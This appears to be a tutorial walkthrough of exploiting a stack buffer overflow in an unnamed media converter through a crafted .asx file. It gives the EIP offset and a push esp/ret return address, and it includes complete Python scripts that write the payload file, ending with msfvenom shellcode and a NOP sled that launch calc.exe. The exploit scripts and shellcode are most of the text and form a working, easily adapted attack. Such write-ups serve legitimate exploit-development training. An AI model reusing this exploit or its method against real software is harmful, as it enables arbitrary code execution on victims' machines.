Upon opening the provided exploit file, fuzzing.asx in Notepad++ it’s clear there is some sort of file formatting taking place.
Dropping fuzzing.asx into the converter’s gui shows there is a crash. Notably, the EIP register is being overwritten by 4 “A” characters, and the buffer is pointed to by the ESP register.
The next step is to determine where exactly in the buffer that the EIP register gets overwritten. To do this first note that the amount of “A” characters used to trigger the overflow is 26031.
Use Kali’s msf-pattern_create tool to generate a unique string of characters of length 26031.
This unique string needs to be passed in as the payload. To streamline the process of updating and generating the payload file, use a quick python script like below:
############################################
import struct
file = ‘uniqueString.asx’
payload = “http://” + “AAAA…”
f = open(file,’w’)
f.write(payload)
f.close()
############################################
Run the script to generate uniqueString.asx
Run the converter, attach Immunity to the process, and drop the file in to trigger the crash once again. Note that the EIP
register is now overwritten with “36695735” from the unique string.
Using Kali’s msf-pattern_offset determine that the offset starts at 17417 “A” characters which means the next 4 positions in the user-supplied buffer (17418, 17419, 17420, 17421) are the bytes which will overwrite the register.
Update the payload with 4 “B” characters in the positions which should overwrite EIP, and a sufficient amount of subsequent “C” characters to preserve the original length of the crash.
############################################
import struct
file = ‘eipCleanOverwrite.asx’
payload = “http://” + “A” * 17417 + “B” * 4 + “C” * (26031 – 17417 – 4)
f = open(file,’w’)
f.write(payload)
f.close()
############################################
Trigger the crash again and see that EIP has been overwritten with 42424242
Following ESP in the dump shows that the ESP register is pointing to remainder of the buffer of “C” bytes.
Notably, ESP actually points to address 000FC480, skipping the first 4 bytes in the stack immediately following the EIP overwrite.
Now that the EIP address is in our control the next step is to find a way to redirect execution flow to the buffer. Specifically, we need a way to point to the ESP register which can be done using a number of techniques, the easiest of which would be leveraging a JMP ESP or CALL ESP instruction.
Using mona.py search for JMP ESP instructions in executable modules that have been loaded into memory.
There are two key restrictions we need to abide by in our search for a JMP ESP (and most exploits for that matter):
- It resides at a static address in memory, i.e. do not get rebased or randomized by ASLR.
- It resides in a module that does not contain null bytes in the base memory address space
- (NOT REQUIRED) Preferably resides in a module that comes with the binary as this increases the portability and likelihood of success off the exploit.
- Non-OS modules are more likely to be compiled without certain security flags like SAFE SEH
- OS modules are more likely to have their address space randomized. Especially in more modern operating systems like Windows 10
- Reduces the scope of requirements for success down to just the binary therefore not relying on the OS and being subject to environment-specific changes
With these restrictions in mind a suitable candidate appears to be a push esp # ret instruction at memory address 1003DF73.
Plug this address into the exploit, replacing the 4 “B” characters used to overwrite ESP previously. Also now that the order of our bytes matters take into consideration that the byte order will be reversed in memory to meet little endian formatting.
############################################
import struct
file = ‘espRetn.asx’
# 1003DF73 – push esp # ret
payload = “http://” + “A” * 17417 + “\x73\xDF\03\x10” + “C” * (26031 – 17417 – 4)
f = open(file,’w’)
f.write(payload)
f.close()
############################################
Generate a new payload file.
However scrolling up in the disassembler we can see that code execution indeed traversed the buffer of “C” characters first, meaning the execution flow was successfully redirected to the ESP register.
Since whatever is in the buffer is now getting executed, the next step is to generate the calc.exe payload using Kali’s msfvenom tool being sure to exclude a few well-known troublesome characters.
Drop the shellcode into the exploit as well as prepending a few NOP instructions before it to act as a sled into the payload.
############################################
import struct
file = ‘exploit.asx’
calc = calc = b””
calc += b”\x33\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81″
calc += b”\x76\x0e\x30\xc6\xc6\xef\x83\xee\xfc\xe2\xf4\xcc\x2e”
calc += b”\x44\xef\x30\xc6\xa6\x66\xd5\xf7\x06\x8b\xbb\x96\xf6″
calc += b”\x64\x62\xca\x4d\xbd\x24\x4d\xb4\xc7\x3f\x71\x8c\xc9″
calc += b”\x01\x39\x6a\xd3\x51\xba\xc4\xc3\x10\x07\x09\xe2\x31″
calc += b”\x01\x24\x1d\x62\x91\x4d\xbd\x20\x4d\x8c\xd3\xbb\x8a”
calc += b”\xd7\x97\xd3\x8e\xc7\x3e\x61\x4d\x9f\xcf\x31\x15\x4d”
calc += b”\xa6\x28\x25\xfc\xa6\xbb\xf2\x4d\xee\xe6\xf7\x39\x43″
calc += b”\xf1\x09\xcb\xee\xf7\xfe\x26\x9a\xc6\xc5\xbb\x17\x0b”
calc += b”\xbb\xe2\x9a\xd4\x9e\x4d\xb7\x14\xc7\x15\x89\xbb\xca”
calc += b”\x8d\x64\x68\xda\xc7\x3c\xbb\xc2\x4d\xee\xe0\x4f\x82″
calc += b”\xcb\x14\x9d\x9d\x8e\x69\x9c\x97\x10\xd0\x99\x99\xb5″
calc += b”\xbb\xd4\x2d\x62\x6d\xac\xc7\x62\xb5\x74\xc6\xef\x30″
calc += b”\x96\xae\xde\xbb\xa9\x41\x10\xe5\x7d\x36\x5a\x92\x90″
calc += b”\xae\x49\xa5\x7b\x5b\x10\xe5\xfa\xc0\x93\x3a\x46\x3d”
calc += b”\x0f\x45\xc3\x7d\xa8\x23\xb4\xa9\x85\x30\x95\x39\x3a”
calc += b”\x53\xa7\xaa\x8c\x1e\xa3\xbe\x8a\x30\xc6\xc6\xef”
# 1003DF73 – push esp # ret
payload = “http://” + “A” * 17417 + “\x73\xDF\03\x10” + “\x90” * 16 + calc + “C” * (26031 – 17417 – 4 -16 – len(calc))
f = open(file,’w’)
f.write(payload)
f.close()
############################################
Generate the new payload file exploit.asx and trigger the exploit with Immunity attached.
The shellcode is properly executed and it opens up calc.exe.
Confirm this works without Immunity being attached and also confirm the exploit file still works even after reboots of the OS to ensure none of the addresses being used in the exploit are subject to ASLR.